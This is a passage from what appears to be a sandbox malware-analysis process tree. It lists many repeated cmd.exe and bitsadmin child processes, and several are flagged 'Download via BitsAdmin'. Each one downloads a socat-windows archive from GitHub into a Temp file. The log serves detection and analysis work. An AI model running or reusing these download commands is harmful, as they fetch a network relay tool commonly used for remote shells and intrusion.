      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1604
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1776
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:2004
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1608
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:268
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:908
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1708
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1692
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1832
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1748
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1820
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1360
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1352
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1824
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1864
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1872
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1708
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1700
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1096
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1288
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1160
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1592
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1144
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1744
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:988
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1524
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1748
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:908
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:956
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1380
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:588
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:808
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1600
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1652
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:2000
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1756
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1048
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1872
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1532
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1776
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1120
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1192
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1820
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:2020
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1824
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1308
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1676
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:2036
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1532
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1708
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:2044
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1380
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1336
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1592
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:2024
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:2016
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1292
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1872
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1160
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1396
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:988
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:2000
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1288
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1944
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1444
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:836
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:936
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1352
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1604
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1720
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1436
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1984
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1656
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:632
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:2020
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1532
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1192
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1868
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1392
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1308
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1060
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:992
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:972
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1824
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1944
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1732
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:2024
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1804
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1508
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1308
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:2036
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:832
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1784
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:588
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:880
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1820
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1260
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1752
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1508
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
      4⤵
      PID:1656
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip" "C:\Users\Admin\AppData\Local\Temp\9jo4T7.zip"
        5⤵
        
        PID:1192
  - - C:\Windows\SysWOW64\cmd.exe
